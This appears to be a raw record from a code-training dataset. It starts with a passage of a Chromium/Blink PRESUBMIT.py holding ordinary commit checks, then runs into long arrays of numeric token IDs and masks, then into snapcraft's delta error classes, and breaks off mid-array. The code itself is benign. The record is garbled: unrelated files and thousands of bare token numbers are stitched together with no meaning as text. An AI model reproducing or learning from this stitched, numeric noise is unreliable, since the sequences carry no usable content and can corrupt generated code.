intentional and will cause a compile failure.""" errors = [] for f in input_api.AffectedFiles(): errors.extend(_CheckForVersionControlConflictsInFile(input_api, f)) results = [] if errors: results.append(output_api.PresubmitError( 'Version control conflict markers found, please resolve.', errors)) return results def _CheckWatchlist(input_api, output_api): """Check that the WATCHLIST file parses correctly.""" errors = [] for f in input_api.AffectedFiles(): if f.LocalPath() != 'WATCHLISTS': continue import StringIO import logging import watchlists log_buffer = StringIO.StringIO() log_handler = logging.StreamHandler(log_buffer) log_handler.setFormatter( logging.Formatter('%(levelname)s: %(message)s')) logger = logging.getLogger() logger.addHandler(log_handler) wl = watchlists.Watchlists(input_api.change.RepositoryRoot()) logger.removeHandler(log_handler) log_handler.flush() log_buffer.flush() if log_buffer.getvalue(): errors.append(output_api.PresubmitError( 'Cannot parse WATCHLISTS file, please resolve.', log_buffer.getvalue().splitlines())) return errors def _CommonChecks(input_api, output_api): """Checks common to both upload and commit.""" # We should figure out what license checks we actually want to use. license_header = r'.*' results = [] results.extend(input_api.canned_checks.PanProjectChecks( input_api, output_api, excluded_paths=_EXCLUDED_PATHS, maxlen=800, license_header=license_header)) results.extend(input_api.canned_checks.CheckPatchFormatted(input_api, output_api)) results.extend(_CheckForNonBlinkVariantMojomIncludes(input_api, output_api)) results.extend(_CheckForVersionControlConflicts(input_api, output_api)) results.extend(_CheckPatchFiles(input_api, output_api)) results.extend(_CheckTestExpectations(input_api, output_api)) results.extend(_CheckChromiumPlatformMacros(input_api, output_api)) results.extend(_CheckWatchlist(input_api, output_api)) results.extend(_CheckFilePermissions(input_api, output_api)) return results def _CheckPatchFiles(input_api, output_api): problems = [f.LocalPath() for f in input_api.AffectedFiles() if f.LocalPath().endswith(('.orig', '.rej'))] if problems: return [output_api.PresubmitError( "Don't commit .rej and .orig files.", problems)] else: return [] def _CheckTestExpectations(input_api, output_api): local_paths = [f.LocalPath() for f in input_api.AffectedFiles()] if any('LayoutTests' in path for path in local_paths): lint_path = input_api.os_path.join(input_api.PresubmitLocalPath(), 'Tools', 'Scripts', 'lint-test-expectations') _, errs = input_api.subprocess.Popen( [input_api.python_executable, lint_path], stdout=input_api.subprocess.PIPE, stderr=input_api.subprocess.PIPE).communicate() if not errs: return [output_api.PresubmitError( "lint-test-expectations failed " "to produce output; check by hand. ")] if errs.strip() != 'Lint succeeded.': return [output_api.PresubmitError(errs)] return [] def _CheckStyle(input_api, output_api): # Files that follow Chromium's coding style do not include capital letters. re_chromium_style_file = re.compile(r'\b[a-z_]+\.(cc|h)$') style_checker_path = input_api.os_path.join(input_api.PresubmitLocalPath(), 'Tools', 'Scripts', 'check-webkit-style') args = [input_api.python_executable, style_checker_path, '--diff-files'] files = [input_api.os_path.join('..', '..', f.LocalPath()) for f in input_api.AffectedFiles() # Filter out files that follow Chromium's coding style. if not re_chromium_style_file.search(f.LocalPath())] # Do not call check-webkit-style with empty affected file list if all # input_api.AffectedFiles got filtered. if not files: return [] args += files results = [] try: child = input_api.subprocess.Popen(args, stderr=input_api.subprocess.PIPE) _, stderrdata = child.communicate() if child.returncode != 0: results.append(output_api.PresubmitError( 'check-webkit-style failed', [stderrdata])) except Exception as e: results.append(output_api.PresubmitNotifyResult( 'Could not run check-webkit-style', [str(e)])) return results def _CheckChromiumPlatformMacros(input_api, output_api, source_file_filter=None): """Ensures that Blink code uses WTF's platform macros instead of Chromium's. Using the latter has resulted in at least one subtle build breakage.""" os_macro_re = input_api.re.compile(r'^\s*#(el)?if.*\bOS_') errors = input_api.canned_checks._FindNewViolationsOfRule( lambda _, x: not os_macro_re.search(x), input_api, source_file_filter) errors = ['Found use of Chromium OS_* macro in %s. ' 'Use WTF platform macros instead.' % violation for violation in errors] if errors: return [output_api.PresubmitPromptWarning('\n'.join(errors))] return [] def _CheckForPrintfDebugging(input_api, output_api): """Generally speaking, we'd prefer not to land patches that printf debug output.""" printf_re = input_api.re.compile(r'^\s*(printf\(|fprintf\(stderr,)') errors = input_api.canned_checks._FindNewViolationsOfRule( lambda _, x: not printf_re.search(x), input_api, None) errors = [' * %s' % violation for violation in errors] if errors: return [output_api.PresubmitPromptOrNotify( 'printf debugging is best debugging! That said, it might ' 'be a good idea to drop the following occurances from ' 'your patch before uploading:\n%s' % '\n'.join(errors))] return [] def _CheckForJSTest(input_api, output_api): """'js-test.js' is the past, 'testharness.js' is our glorious future""" jstest_re = input_api.re.compile(r'resources/js-test.js') def source_file_filter(path): return input_api.FilterSourceFile(path, white_list=[r'third_party/WebKit/LayoutTests/.*\.(html|js|php|pl|svg)$']) errors = input_api.canned_checks._FindNewViolationsOfRule( lambda _, x: not jstest_re.search(x), input_api, source_file_filter) errors = [' * %s' % violation for violation in errors] if errors: return [output_api.PresubmitPromptOrNotify( '"resources/js-test.js" is deprecated; please write new layout ' 'tests using the assertions in "resources/testharness.js" ' 'instead, as these can be more easily upstreamed to Web Platform ' 'Tests for cross-vendor compatibility testing. If you\'re not ' 'already familiar with this framework, a tutorial is available at ' 'https://darobin.github.io/test-harness-tutorial/docs/using-testharness.html' '\n\n%s' % '\n'.join(errors))] return [] def _CheckForFailInFile(input_api, f): pattern = input_api.re.compile('^FAIL') errors = [] for line_num, line in f.ChangedContents(): if pattern.match(line): errors.append(' %s:%d %s' % (f.LocalPath(), line_num, line)) return errors def _CheckFilePermissions(input_api, output_api): """Check that all files have their permissions properly set.""" if input_api.platform == 'win32': return [] args = [input_api.python_executable, input_api.os_path.join( input_api.change.RepositoryRoot(), 'tools/checkperms/checkperms.py'), '--root', input_api.change.RepositoryRoot()] for f in input_api.AffectedFiles(): args += ['--file', f.LocalPath()] try: input_api.subprocess.check_output(args) return [] except input_api.subprocess.CalledProcessError as error: return [output_api.PresubmitError( 'checkperms.py failed:', long_text=error.output)] def _CheckForInvalidPreferenceError(input_api, output_api): pattern = input_api.re.compile('Invalid name for preference: (.+)') results = [] for f in input_api.AffectedFiles(): if not f.LocalPath().endswith('-expected.txt'): continue for line_num, line in f.ChangedContents(): error = pattern.search(line) if error: results.append(output_api.PresubmitError('Found an invalid preference %s in expected result %s:%s' % (error.group(1), f, line_num))) return results def _CheckForForbiddenNamespace(input_api, output_api): """Checks that Blink uses Chromium namespaces only in permitted code.""" # This list is not exhaustive, but covers likely ones. chromium_namespaces = ["base", "cc", "content", "gfx", "net", "ui"] chromium_forbidden_classes = ["scoped_refptr"] chromium_allowed_classes = ["gfx::CubicBezier"] def source_file_filter(path): return input_api.FilterSourceFile(path, white_list=[r'third_party/WebKit/Source/.*\.(h|cpp)$'], black_list=[r'third_party/WebKit/Source/(platform|wtf|web)/']) comment_re = input_api.re.compile(r'^\s*//') result = [] for namespace in chromium_namespaces: namespace_re = input_api.re.compile(r'\b{0}::([A-Za-z_][A-Za-z0-9_]*)'.format(input_api.re.escape(namespace))) def uses_namespace_outside_comments(line): if comment_re.search(line): return False re_result = namespace_re.search(line) if not re_result: return False parsed_class_name = namespace + "::" + re_result.group(1) return not (parsed_class_name in chromium_allowed_classes) errors = input_api.canned_checks._FindNewViolationsOfRule(lambda _, line: not uses_namespace_outside_comments(line), input_api, source_file_filter) if errors: result += [output_api.PresubmitError('Do not use Chromium class from namespace {} inside Blink core:\n{}'.format(namespace, '\n'.join(errors)))] for namespace in chromium_namespaces: namespace_re = input_api.re.compile(r'^\s*using namespace {0};|^\s*namespace {0} \{{'.format(input_api.re.escape(namespace))) uses_namespace_outside_comments = lambda line: namespace_re.search(line) and not comment_re.search(line) errors = input_api.canned_checks._FindNewViolationsOfRule(lambda _, line: not uses_namespace_outside_comments(line), input_api, source_file_filter) if errors: result += [output_api.PresubmitError('Do not use Chromium namespace {} inside Blink core:\n{}'.format(namespace, '\n'.join(errors)))] for class_name in chromium_forbidden_classes: class_re = input_api.re.compile(r'\b{0}\b'.format(input_api.re.escape(class_name))) uses_class_outside_comments = lambda line: class_re.search(line) and not comment_re.search(line) errors = input_api.canned_checks._FindNewViolationsOfRule(lambda _, line: not uses_class_outside_comments(line), input_api, source_file_filter) if errors: result += [output_api.PresubmitError('Do not use Chromium class {} inside Blink core:\n{}'.format(class_name, '\n'.join(errors)))] return result def CheckChangeOnUpload(input_api, output_api): results = [] results.extend(_CommonChecks(input_api, output_api)) results.extend(_CheckStyle(input_api, output_api)) results.extend(_CheckForPrintfDebugging(input_api, output_api)) results.extend(_CheckForJSTest(input_api, output_api)) results.extend(_CheckForInvalidPreferenceError(input_api, output_api)) results.extend(_CheckForForbiddenNamespace(input_api, output_api)) return results def CheckChangeOnCommit(input_api, output_api): results = [] results.extend(_CommonChecks(input_api, output_api)) results.extend(input_api.canned_checks.CheckTreeIsOpen( input_api, output_api, json_url='http://chromium-status.appspot.com/current?format=json')) results.extend(input_api.canned_checks.CheckChangeHasDescription( input_api, output_api)) return results def _ArePaintOrCompositingDirectoriesModified(change): # pylint: disable=C0103 """Checks whether CL has changes to paint or compositing directories.""" paint_or_compositing_paths = [ os.path.join('third_party', 'WebKit', 'Source', 'platform', 'graphics', 'compositing'), os.path.join('third_party', 'WebKit', 'Source', 'platform', 'graphics', 'paint'), os.path.join('third_party', 'WebKit', 'Source', 'core', 'layout', 'compositing'), os.path.join('third_party', 'WebKit', 'Source', 'core', 'paint'), ] for affected_file in change.AffectedFiles(): file_path = affected_file.LocalPath() if any(x in file_path for x in paint_or_compositing_paths): return True return False def PostUploadHook(cl, change, output_api): # pylint: disable=C0103 """git cl upload will call this hook after the issue is created/modified. This hook adds extra try bots to the CL description in order to run slimming paint v2 tests in addition to the CQ try bots if the change contains paint or compositing changes (see: _ArePaintOrCompositingDirectoriesModified). For more information about slimming-paint-v2 tests see https://crbug.com/601275. """ if not _ArePaintOrCompositingDirectoriesModified(change): return [] rietveld_obj = cl.RpcServer() issue = cl.issue description = rietveld_obj.get_description(issue) if re.search(r'^CQ_INCLUDE_TRYBOTS=.*', description, re.M | re.I): return [] bots = [ 'master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2', ] results = [] new_description = description new_description += '\nCQ_INCLUDE_TRYBOTS=%s' % ';'.join(bots) results.append(output_api.PresubmitNotifyResult( 'Automatically added slimming-paint-v2 tests to run on CQ due to ' 'changes in paint or compositing directories.')) if new_description != description: rietveld_obj.update_description(issue, new_description) return results
gpl-3.0
[ 3, 1898, 334, 67, 9, 6171, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 6105, 13, 1896, 23895, 2884, 367, 699, 1073, 14, 199, 199, 9295, 1455, 921, 2374, 14, 13211, 14, 1308, 15, 23826, 15, 1917, 13, 14543, 15, 27834, 2537, 15, 80, 15527, 13, 6429, 199, 509, 1655, 2436, 3595, 314, 23895, 3261, 6137, 1901, 486, 429, 14, 199, 624, 199, 199, 646, 747, 199, 646, 295, 199, 646, 984, 421, 199, 63, 29647, 53, 8280, 63, 20202, 275, 334, 272, 327, 25604, 2925, 15, 17932, 365, 8789, 2952, 3520, 1584, 787, 5847, 272, 327, 8439, 12, 880, 781, 886, 440, 1172, 4125, 3304, 1806, 3932, 1564, 14, 272, 519, 4289, 11470, 63, 7522, 59, 9780, 15, 61, 21666, 59, 9780, 15, 61, 4798, 2925, 59, 9780, 15, 61, 17932, 59, 9780, 15, 1055, 7693, 199, 9, 421, 199, 318, 485, 1799, 1858, 6932, 34, 1073, 12935, 3716, 30410, 22792, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 304, 272, 3851, 275, 1324, 63, 1246, 14, 264, 14, 2014, 8, 82, 11525, 2613, 60, 83, 11, 6977, 4537, 573, 30410, 19276, 31477, 72, 59, 30, 937, 358, 272, 2552, 275, 942, 272, 367, 289, 315, 1324, 63, 1246, 14, 19256, 6201, 5535, 837, 267, 367, 1004, 63, 1507, 12, 1004, 315, 289, 14, 6970, 11383, 837, 288, 333, 275, 3851, 14, 1431, 8, 604, 9, 288, 340, 333, 436, 333, 14, 923, 8, 17, 9, 1137, 2475, 24042, 7, 436, 333, 14, 923, 8, 17, 9, 1137, 2475, 5555, 356, 355, 2552, 14, 740, 360, 259, 450, 83, 2689, 68, 450, 83, 7, 450, 334, 490, 289, 14, 26453, 1062, 1004, 63, 1507, 12, 1004, 430, 339, 2058, 275, 942, 272, 340, 2552, 26, 267, 2058, 14, 740, 8, 1199, 63, 1246, 14, 30607, 547, 8, 288, 283, 5535, 626, 2387, 2222, 13, 34, 1073, 9854, 1303, 74, 22491, 1911, 6536, 2552, 430, 272, 372, 2058, 421, 199, 318, 485, 1799, 1858, 3353, 3717, 8930, 13192, 607, 1173, 8, 1210, 63, 1246, 12, 289, 304, 272, 3851, 275, 1324, 63, 1246, 14, 264, 14, 2014, 9097, 5169, 31275, 8999, 28, 92, 28375, 6071, 9, 1204, 62, 18673, 9988, 272, 2552, 275, 942, 272, 367, 1004, 63, 1507, 12, 1004, 315, 289, 14, 6970, 11383, 837, 267, 340, 3851, 14, 1431, 8, 604, 304, 288, 2552, 14, 740, 360, 259, 450, 83, 2689, 68, 450, 83, 7, 450, 334, 70, 14, 26453, 1062, 1004, 63, 1507, 12, 1004, 430, 272, 372, 2552, 421, 199, 318, 485, 1799, 1858, 3353, 3717, 8930, 13192, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 304, 272, 408, 23642, 3163, 642, 365, 440, 25343, 279, 436, 911, 7675, 282, 6555, 5988, 1041, 272, 2552, 275, 942, 272, 367, 289, 315, 1324, 63, 1246, 14, 19256, 6201, 5535, 837, 267, 2552, 14, 2880, 1547, 1799, 1858, 3353, 3717, 8930, 13192, 607, 1173, 8, 1210, 63, 1246, 12, 289, 430, 339, 2058, 275, 942, 272, 340, 2552, 26, 267, 2058, 14, 740, 8, 1199, 63, 1246, 14, 30607, 547, 8, 288, 283, 3353, 3304, 12395, 14327, 1911, 12, 8749, 7512, 3130, 2552, 430, 272, 372, 2058, 421, 199, 318, 485, 1799, 13978, 513, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 304, 272, 408, 1799, 626, 314, 644, 8078, 4924, 570, 19953, 6657, 1041, 272, 2552, 275, 942, 272, 367, 289, 315, 1324, 63, 1246, 14, 19256, 6201, 5535, 837, 267, 340, 289, 14, 26453, 342, 1137, 283, 55, 8078, 4924, 51, 356, 288, 1980, 267, 492, 5228, 267, 492, 2050, 267, 492, 9626, 6717, 398, 943, 63, 2738, 275, 5228, 14, 6424, 342, 267, 943, 63, 2232, 275, 2050, 14, 22482, 8, 793, 63, 2738, 9, 267, 943, 63, 2232, 14, 26076, 8, 288, 2050, 14, 7772, 24713, 20056, 9, 83, 26, 2818, 1188, 9, 83, 1333, 267, 2512, 275, 2050, 14, 5572, 342, 267, 2512, 14, 18826, 8, 793, 63, 2232, 9, 398, 336, 76, 275, 9626, 6717, 14, 13978, 6717, 8, 1210, 63, 1246, 14, 1461, 14, 15614, 6405, 1012, 398, 2512, 14, 2168, 2461, 8, 793, 63, 2232, 9, 267, 943, 63, 2232, 14, 4939, 342, 267, 943, 63, 2738, 14, 4939, 342, 398, 340, 943, 63, 2738, 14, 7150, 837, 288, 2552, 14, 740, 8, 1199, 63, 1246, 14, 30607, 547, 8, 355, 283, 6612, 2198, 644, 8078, 4924, 51, 570, 12, 8749, 7512, 3130, 355, 943, 63, 2738, 14, 7150, 1252, 7644, 4059, 272, 372, 2552, 421, 199, 318, 485, 7844, 11834, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 304, 272, 408, 11834, 2863, 370, 3865, 5802, 436, 5532, 1041, 272, 327, 2136, 1077, 9658, 734, 4052, 4190, 5920, 781, 5965, 2934, 370, 675, 14, 272, 4190, 63, 1291, 275, 519, 1370, 10223, 339, 2058, 275, 942, 272, 2058, 14, 2880, 8, 1210, 63, 1246, 14, 31126, 63, 8625, 14, 19266, 4761, 11834, 8, 267, 1324, 63, 1246, 12, 1072, 63, 1246, 12, 8789, 63, 3771, 3699, 29647, 53, 8280, 63, 20202, 12, 267, 21037, 29, 6718, 12, 4190, 63, 1291, 29, 1682, 63, 1291, 430, 272, 2058, 14, 2880, 8, 1210, 63, 1246, 14, 31126, 63, 8625, 14, 1799, 11173, 31602, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 1858, 6932, 34, 1073, 12935, 3716, 30410, 22792, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 1858, 3353, 3717, 8930, 13192, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 11173, 5535, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 774, 31323, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 29381, 10397, 25402, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 13978, 513, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 1173, 17004, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 372, 2058, 421 ]
[ 1898, 334, 67, 9, 6171, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 6105, 13, 1896, 23895, 2884, 367, 699, 1073, 14, 199, 199, 9295, 1455, 921, 2374, 14, 13211, 14, 1308, 15, 23826, 15, 1917, 13, 14543, 15, 27834, 2537, 15, 80, 15527, 13, 6429, 199, 509, 1655, 2436, 3595, 314, 23895, 3261, 6137, 1901, 486, 429, 14, 199, 624, 199, 199, 646, 747, 199, 646, 295, 199, 646, 984, 421, 199, 63, 29647, 53, 8280, 63, 20202, 275, 334, 272, 327, 25604, 2925, 15, 17932, 365, 8789, 2952, 3520, 1584, 787, 5847, 272, 327, 8439, 12, 880, 781, 886, 440, 1172, 4125, 3304, 1806, 3932, 1564, 14, 272, 519, 4289, 11470, 63, 7522, 59, 9780, 15, 61, 21666, 59, 9780, 15, 61, 4798, 2925, 59, 9780, 15, 61, 17932, 59, 9780, 15, 1055, 7693, 199, 9, 421, 199, 318, 485, 1799, 1858, 6932, 34, 1073, 12935, 3716, 30410, 22792, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 304, 272, 3851, 275, 1324, 63, 1246, 14, 264, 14, 2014, 8, 82, 11525, 2613, 60, 83, 11, 6977, 4537, 573, 30410, 19276, 31477, 72, 59, 30, 937, 358, 272, 2552, 275, 942, 272, 367, 289, 315, 1324, 63, 1246, 14, 19256, 6201, 5535, 837, 267, 367, 1004, 63, 1507, 12, 1004, 315, 289, 14, 6970, 11383, 837, 288, 333, 275, 3851, 14, 1431, 8, 604, 9, 288, 340, 333, 436, 333, 14, 923, 8, 17, 9, 1137, 2475, 24042, 7, 436, 333, 14, 923, 8, 17, 9, 1137, 2475, 5555, 356, 355, 2552, 14, 740, 360, 259, 450, 83, 2689, 68, 450, 83, 7, 450, 334, 490, 289, 14, 26453, 1062, 1004, 63, 1507, 12, 1004, 430, 339, 2058, 275, 942, 272, 340, 2552, 26, 267, 2058, 14, 740, 8, 1199, 63, 1246, 14, 30607, 547, 8, 288, 283, 5535, 626, 2387, 2222, 13, 34, 1073, 9854, 1303, 74, 22491, 1911, 6536, 2552, 430, 272, 372, 2058, 421, 199, 318, 485, 1799, 1858, 3353, 3717, 8930, 13192, 607, 1173, 8, 1210, 63, 1246, 12, 289, 304, 272, 3851, 275, 1324, 63, 1246, 14, 264, 14, 2014, 9097, 5169, 31275, 8999, 28, 92, 28375, 6071, 9, 1204, 62, 18673, 9988, 272, 2552, 275, 942, 272, 367, 1004, 63, 1507, 12, 1004, 315, 289, 14, 6970, 11383, 837, 267, 340, 3851, 14, 1431, 8, 604, 304, 288, 2552, 14, 740, 360, 259, 450, 83, 2689, 68, 450, 83, 7, 450, 334, 70, 14, 26453, 1062, 1004, 63, 1507, 12, 1004, 430, 272, 372, 2552, 421, 199, 318, 485, 1799, 1858, 3353, 3717, 8930, 13192, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 304, 272, 408, 23642, 3163, 642, 365, 440, 25343, 279, 436, 911, 7675, 282, 6555, 5988, 1041, 272, 2552, 275, 942, 272, 367, 289, 315, 1324, 63, 1246, 14, 19256, 6201, 5535, 837, 267, 2552, 14, 2880, 1547, 1799, 1858, 3353, 3717, 8930, 13192, 607, 1173, 8, 1210, 63, 1246, 12, 289, 430, 339, 2058, 275, 942, 272, 340, 2552, 26, 267, 2058, 14, 740, 8, 1199, 63, 1246, 14, 30607, 547, 8, 288, 283, 3353, 3304, 12395, 14327, 1911, 12, 8749, 7512, 3130, 2552, 430, 272, 372, 2058, 421, 199, 318, 485, 1799, 13978, 513, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 304, 272, 408, 1799, 626, 314, 644, 8078, 4924, 570, 19953, 6657, 1041, 272, 2552, 275, 942, 272, 367, 289, 315, 1324, 63, 1246, 14, 19256, 6201, 5535, 837, 267, 340, 289, 14, 26453, 342, 1137, 283, 55, 8078, 4924, 51, 356, 288, 1980, 267, 492, 5228, 267, 492, 2050, 267, 492, 9626, 6717, 398, 943, 63, 2738, 275, 5228, 14, 6424, 342, 267, 943, 63, 2232, 275, 2050, 14, 22482, 8, 793, 63, 2738, 9, 267, 943, 63, 2232, 14, 26076, 8, 288, 2050, 14, 7772, 24713, 20056, 9, 83, 26, 2818, 1188, 9, 83, 1333, 267, 2512, 275, 2050, 14, 5572, 342, 267, 2512, 14, 18826, 8, 793, 63, 2232, 9, 398, 336, 76, 275, 9626, 6717, 14, 13978, 6717, 8, 1210, 63, 1246, 14, 1461, 14, 15614, 6405, 1012, 398, 2512, 14, 2168, 2461, 8, 793, 63, 2232, 9, 267, 943, 63, 2232, 14, 4939, 342, 267, 943, 63, 2738, 14, 4939, 342, 398, 340, 943, 63, 2738, 14, 7150, 837, 288, 2552, 14, 740, 8, 1199, 63, 1246, 14, 30607, 547, 8, 355, 283, 6612, 2198, 644, 8078, 4924, 51, 570, 12, 8749, 7512, 3130, 355, 943, 63, 2738, 14, 7150, 1252, 7644, 4059, 272, 372, 2552, 421, 199, 318, 485, 7844, 11834, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 304, 272, 408, 11834, 2863, 370, 3865, 5802, 436, 5532, 1041, 272, 327, 2136, 1077, 9658, 734, 4052, 4190, 5920, 781, 5965, 2934, 370, 675, 14, 272, 4190, 63, 1291, 275, 519, 1370, 10223, 339, 2058, 275, 942, 272, 2058, 14, 2880, 8, 1210, 63, 1246, 14, 31126, 63, 8625, 14, 19266, 4761, 11834, 8, 267, 1324, 63, 1246, 12, 1072, 63, 1246, 12, 8789, 63, 3771, 3699, 29647, 53, 8280, 63, 20202, 12, 267, 21037, 29, 6718, 12, 4190, 63, 1291, 29, 1682, 63, 1291, 430, 272, 2058, 14, 2880, 8, 1210, 63, 1246, 14, 31126, 63, 8625, 14, 1799, 11173, 31602, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 1858, 6932, 34, 1073, 12935, 3716, 30410, 22792, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 1858, 3353, 3717, 8930, 13192, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 11173, 5535, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 774, 31323, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 29381, 10397, 25402, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 13978, 513, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 2058, 14, 2880, 1547, 1799, 1173, 17004, 8, 1210, 63, 1246, 12, 1072, 63, 1246, 430, 272, 372, 2058, 421, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dpniel/snapcraft
snapcraft/internal/deltas/errors.py
5
1593
# -*- Mode:Python; indent-tabs-mode:nil; tab-width:4 -*- # # Copyright (C) 2016 Canonical Ltd # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License version 3 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from snapcraft.internal.errors import SnapcraftError class DeltaGenerationError(Exception): """A delta failed to generate.""" class DeltaFormatError(SnapcraftError): """A delta format must be set.""" fmt = ( 'delta_format must be set in subclass!' ) class DeltaFormatOptionError(SnapcraftError): """A delta format option is not in the defined list.""" fmt = ( 'delta_format must be a option in {format_options_list}.\n' 'for now delta_format={delta_format!r}' ) class DeltaToolError(SnapcraftError): """A delta tool executable error""" fmt = ( 'Cannot find the executable delta tool {delta_tool!r}.' ) def __init__(self, **kwargs): # if no parameter passed, use the following error message instead if len(kwargs) == 0: self.fmt = 'delta_tool_path must be set in subclass!' super().__init__(**kwargs)
gpl-3.0
[ 3, 1882, 4900, 26, 4718, 27, 4363, 13, 8741, 13, 632, 26, 20613, 27, 5174, 13, 2063, 26, 20, 1882, 199, 3, 199, 3, 1898, 334, 35, 9, 7800, 6855, 7174, 12126, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 1015, 650, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 504, 13639, 32342, 14, 4672, 14, 2550, 492, 428, 2542, 32342, 547, 421, 199, 533, 18464, 502, 3139, 5263, 8, 1726, 304, 272, 408, 33, 5762, 3405, 370, 3550, 1041, 421, 199, 533, 18464, 502, 3484, 547, 8, 31894, 32342, 547, 304, 272, 408, 33, 5762, 1475, 1471, 506, 663, 1041, 339, 7104, 275, 334, 267, 283, 3136, 63, 908, 1471, 506, 663, 315, 5516, 11213, 272, 776, 421, 199, 533, 18464, 502, 3484, 16546, 8, 31894, 32342, 547, 304, 272, 408, 33, 5762, 1475, 945, 365, 440, 315, 314, 3247, 769, 1041, 339, 7104, 275, 334, 267, 283, 3136, 63, 908, 1471, 506, 282, 945, 315, 469, 908, 63, 1419, 63, 513, 93, 3134, 78, 7, 267, 283, 509, 3063, 5762, 63, 908, 3126, 3136, 63, 908, 1, 82, 6834, 272, 776, 421, 199, 533, 18464, 502, 5157, 547, 8, 31894, 32342, 547, 304, 272, 408, 33, 5762, 4744, 7286, 1125, 624, 339, 7104, 275, 334, 267, 283, 6612, 2342, 314, 7286, 5762, 4744, 